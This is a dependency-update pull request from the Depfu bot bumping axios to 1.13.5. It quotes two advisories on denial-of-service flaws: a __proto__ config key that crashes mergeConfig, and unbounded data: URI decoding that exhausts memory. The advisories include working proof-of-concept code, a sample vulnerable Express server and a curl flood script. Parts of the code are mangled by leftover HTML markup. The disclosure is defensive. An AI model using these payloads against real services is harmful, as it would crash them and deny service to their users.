🚨 [security] Update axios 1.8.2 → 1.13.5 (minor) #608

depfu · 2026-02-09T18:10:37Z

🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!

Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ axios (1.8.2 → 1.13.5) · Repo · Changelog

Security Advisories 🚨

🚨 Axios is Vulnerable to Denial of Service via proto Key in mergeConfig

Denial of Service via proto Key in mergeConfig

Summary

The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service.

Details

The vulnerability exists in lib/core/mergeConfig.js at lines 98-101:
utils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) {
  const merge = mergeMap[prop] || mergeDeepProperties;
  const configValue = merge(config1[prop], config2[prop], prop);
  (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);
});
When prop is '__proto__':

JSON.parse('{"__proto__": {...}}') creates an object with __proto__ as an own enumerable property

Object.keys() includes '__proto__' in the iteration

mergeMap['__proto__'] performs prototype chain lookup, returning Object.prototype (truthy object)

The expression mergeMap[prop] || mergeDeepProperties evaluates to Object.prototype

Object.prototype(...) throws TypeError: merge is not a function

The mergeConfig function is called by:

Axios._request() at lib/core/Axios.js:75

Axios.getUri() at lib/core/Axios.js:201

All HTTP method shortcuts (get, post, etc.) at lib/core/Axios.js:211,224

PoC
import axios from "axios";
const maliciousConfig = JSON.parse('{"proto": {"x": 1}}');

await axios.get("https://httpbin.org/get", maliciousConfig);
Reproduction steps:

Clone axios repository or npm install axios

Create file poc.mjs with the code above

Run: node poc.mjs

Observe the TypeError crash

Verified output (axios 1.13.4):
TypeError: merge is not a function
    at computeConfigValue (lib/core/mergeConfig.js:100:25)
    at Object.forEach (lib/utils.js:280:10)
    at mergeConfig (lib/core/mergeConfig.js:98:9)
Control tests performed:

Test Config Result

Normal config {"timeout": 5000} SUCCESS

Malicious config JSON.parse('{"__proto__": {"x": 1}}') CRASH

Nested object {"headers": {"X-Test": "value"}} SUCCESS

Attack scenario:
An application that accepts user input, parses it with JSON.parse(), and passes it to axios configuration will crash when receiving the payload {"__proto__": {"x": 1}}.

Impact

Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.

Affected environments:

Node.js servers using axios for HTTP requests

Any backend that passes parsed JSON to axios configuration

This is NOT prototype pollution - the application crashes before any assignment occurs.

🚨 Axios is vulnerable to DoS attack through lack of data size check

Summary

When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.
This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.

Details

The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.

Relevant code from [httpAdapter](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):

const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);
const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);
const protocol = parsed.protocol || supportedProtocols[0];
if (protocol === 'data:') {

let convertedData;

if (method !== 'GET') {

return settle(resolve, reject, { status: 405, ... });

}

convertedData = fromDataURI(config.url, responseType === 'blob', {

Blob: config.env && config.env.Blob

});

return settle(resolve, reject, { data: convertedData, status: 200, ... });

}

The decoder is in [lib/helpers/fromDataURI.js](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):

export default function fromDataURI(uri, asBlob, options) {
  ...
  if (protocol === 'data') {
    uri = protocol.length ? uri.slice(protocol.length + 1) : uri;
    const match = DATA_URL_PATTERN.exec(uri);
    ...
    const body = match[3];
    const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');
    if (asBlob) { return new _Blob([buffer], {type: mime}); }
    return buffer;
  }
  throw new AxiosError('Unsupported protocol ' + protocol, ...);
}

The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.
It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.
As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.

In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.

PoC

const axios = require('axios');
async function main() {

// this example decodes ~120 MB

const base64Size = 160_000_000; // 120 MB after decoding

const base64 = 'A'.repeat(base64Size);

const uri = 'data:application/octet-stream;base64,' + base64;
console.log('Generating URI with base64 length:', base64.length);

const response = await axios.get(uri, {

responseType: 'arraybuffer'

});
console.log('Received bytes:', response.data.length);

}
main().catch(err => {

console.error('Error:', err.message);

});

Run with limited heap to force a crash:

node --max-old-space-size=100 poc.js

Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:

<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…

Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.

import express from "express";
import morgan from "morgan";
import axios from "axios";
import http from "node:http";
import https from "node:https";
import { PassThrough } from "node:stream";
const keepAlive = true;

const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 });

const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 });

const axiosClient = axios.create({

timeout: 10000,

maxRedirects: 5,

httpAgent, httpsAgent,

headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" },

validateStatus: c => c >= 200 && c < 400

});
const app = express();

const PORT = Number(process.env.PORT || 8081);

const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb";
app.use(express.json({ limit: BODY_LIMIT }));

app.use(morgan("combined"));
app.get("/healthz", (req,res)=>res.send("ok"));
/**

 * POST /preview { "url": "<http|https|data URL>" }

 * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector).

 */
app.post("/preview", async (req, res) => {

const url = req.body?.url;

if (!url) return res.status(400).json({ error: "missing url" });
let u;

try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); }
// Developer allows using data:// in the allowlist

const allowed = new Set(["http:", "https:", "data:"]);

if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" });
const controller = new AbortController();

const onClose = () => controller.abort();

res.on("close", onClose);
const before = process.memoryUsage().heapUsed;
try {

const r = await axiosClient.get(u.toString(), {

responseType: "stream",

maxContentLength: 8  1024, // Axios will ignore this for data:

maxBodyLength: 8  1024,    // Axios will ignore this for data:

signal: controller.signal

});
<span class="pl-c">// stream only the first 64KB back</span>
<span class="pl-k">const</span> <span class="pl-s1">cap</span> <span class="pl-c1">=</span> <span class="pl-c1">64</span> <span class="pl-c1">*</span> <span class="pl-c1">1024</span><span class="pl-kos">;</span>
<span class="pl-k">let</span> <span class="pl-s1">sent</span> <span class="pl-c1">=</span> <span class="pl-c1">0</span><span class="pl-kos">;</span>
<span class="pl-k">const</span> <span class="pl-s1">limiter</span> <span class="pl-c1">=</span> <span class="pl-k">new</span> <span class="pl-v">PassThrough</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
<span class="pl-s1">r</span><span class="pl-kos">.</span><span class="pl-c1">data</span><span class="pl-kos">.</span><span class="pl-en">on</span><span class="pl-kos">(</span><span class="pl-s">"data"</span><span class="pl-kos">,</span> <span class="pl-kos">(</span><span class="pl-s1">chunk</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-kos">{</span>
  <span class="pl-k">if</span> <span class="pl-kos">(</span><span class="pl-s1">sent</span> <span class="pl-c1">+</span> <span class="pl-s1">chunk</span><span class="pl-kos">.</span><span class="pl-c1">length</span> <span class="pl-c1">&gt;</span> <span class="pl-s1">cap</span><span class="pl-kos">)</span> <span class="pl-kos">{</span> <span class="pl-s1">limiter</span><span class="pl-kos">.</span><span class="pl-en">end</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">;</span> <span class="pl-s1">r</span><span class="pl-kos">.</span><span class="pl-c1">data</span><span class="pl-kos">.</span><span class="pl-en">destroy</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">;</span> <span class="pl-kos">}</span>
  <span class="pl-k">else</span> <span class="pl-kos">{</span> <span class="pl-s1">sent</span> <span class="pl-c1">+=</span> <span class="pl-s1">chunk</span><span class="pl-kos">.</span><span class="pl-c1">length</span><span class="pl-kos">;</span> <span class="pl-s1">limiter</span><span class="pl-kos">.</span><span class="pl-en">write</span><span class="pl-kos">(</span><span class="pl-s1">chunk</span><span class="pl-kos">)</span><span class="pl-kos">;</span> <span class="pl-kos">}</span>
<span class="pl-kos">}</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
<span class="pl-s1">r</span><span class="pl-kos">.</span><span class="pl-c1">data</span><span class="pl-kos">.</span><span class="pl-en">on</span><span class="pl-kos">(</span><span class="pl-s">"end"</span><span class="pl-kos">,</span> <span class="pl-kos">(</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-s1">limiter</span><span class="pl-kos">.</span><span class="pl-en">end</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
<span class="pl-s1">r</span><span class="pl-kos">.</span><span class="pl-c1">data</span><span class="pl-kos">.</span><span class="pl-en">on</span><span class="pl-kos">(</span><span class="pl-s">"error"</span><span class="pl-kos">,</span> <span class="pl-kos">(</span><span class="pl-s1">e</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-s1">limiter</span><span class="pl-kos">.</span><span class="pl-en">destroy</span><span class="pl-kos">(</span><span class="pl-s1">e</span><span class="pl-kos">)</span><span class="pl-kos">)</span><span class="pl-kos">;</span>

<span class="pl-k">const</span> <span class="pl-s1">after</span> <span class="pl-c1">=</span> <span class="pl-s1">process</span><span class="pl-kos">.</span><span class="pl-en">memoryUsage</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">.</span><span class="pl-c1">heapUsed</span><span class="pl-kos">;</span>
<span class="pl-s1">res</span><span class="pl-kos">.</span><span class="pl-en">set</span><span class="pl-kos">(</span><span class="pl-s">"x-heap-increase-mb"</span><span class="pl-kos">,</span> <span class="pl-kos">(</span><span class="pl-kos">(</span><span class="pl-s1">after</span> <span class="pl-c1">-</span> <span class="pl-s1">before</span><span class="pl-kos">)</span><span class="pl-c1">/</span><span class="pl-c1">1024</span><span class="pl-c1">/</span><span class="pl-c1">1024</span><span class="pl-kos">)</span><span class="pl-kos">.</span><span class="pl-en">toFixed</span><span class="pl-kos">(</span><span class="pl-c1">2</span><span class="pl-kos">)</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
<span class="pl-s1">limiter</span><span class="pl-kos">.</span><span class="pl-en">pipe</span><span class="pl-kos">(</span><span class="pl-s1">res</span><span class="pl-kos">)</span><span class="pl-kos">;</span>

} catch (err) {

const after = process.memoryUsage().heapUsed;

res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));

res.status(502).json({ error: String(err?.message || err) });

} finally {

res.off("close", onClose);

}

});
app.listen(PORT, () => {

console.log(axios-poc-link-preview listening on http://0.0.0.0:<span class="pl-s1"><span class="pl-kos">${</span><span class="pl-c1">PORT</span><span class="pl-kos">}</span></span>);

console.log(Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-c1">BODY_LIMIT</span><span class="pl-kos">}</span></span>).);

});

Run this app and send 3 post requests:

SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @payload.json -o /dev/null```

Suggestions

Enforce size limits
For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.
Stream decoding
Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.

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depfu · 2026-02-09T18:12:01Z

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depfu · 2026-02-09T18:12:03Z

Sorry, but the merge failed with:

At least 1 approving review is required by reviewers with write access.

Update axios to version 1.13.5

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depfu bot added the depfu label Feb 9, 2026

github-actions bot requested a review from Maelstromeous February 9, 2026 18:11

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🚨 [security] Update axios 1.8.2 → 1.12.0 (minor) #576

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🚨 [security] Update axios 1.8.2 → 1.13.5 (minor) #608

🚨 [security] Update axios 1.8.2 → 1.13.5 (minor) #608

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Test	Config	Result
Normal config	`{"timeout": 5000}`	SUCCESS
Malicious config	`JSON.parse('{"__proto__": {"x": 1}}')`	CRASH
Nested object	`{"headers": {"X-Test": "value"}}`	SUCCESS

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🚨 [security] Update axios 1.8.2 → 1.13.5 (minor) #608

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🚨 [security] Update axios 1.8.2 → 1.13.5 (minor) #608

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What changed?

✳️ axios (1.8.2 → 1.13.5) · Repo · Changelog

🚨 Axios is Vulnerable to Denial of Service via __proto__ Key in mergeConfig

Denial of Service via proto Key in mergeConfig

Summary

Details

PoC

Impact

🚨 Axios is vulnerable to DoS attack through lack of data size check

Summary

Details

PoC

Suggestions

Uh oh!

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🚨 Axios is Vulnerable to Denial of Service via proto Key in mergeConfig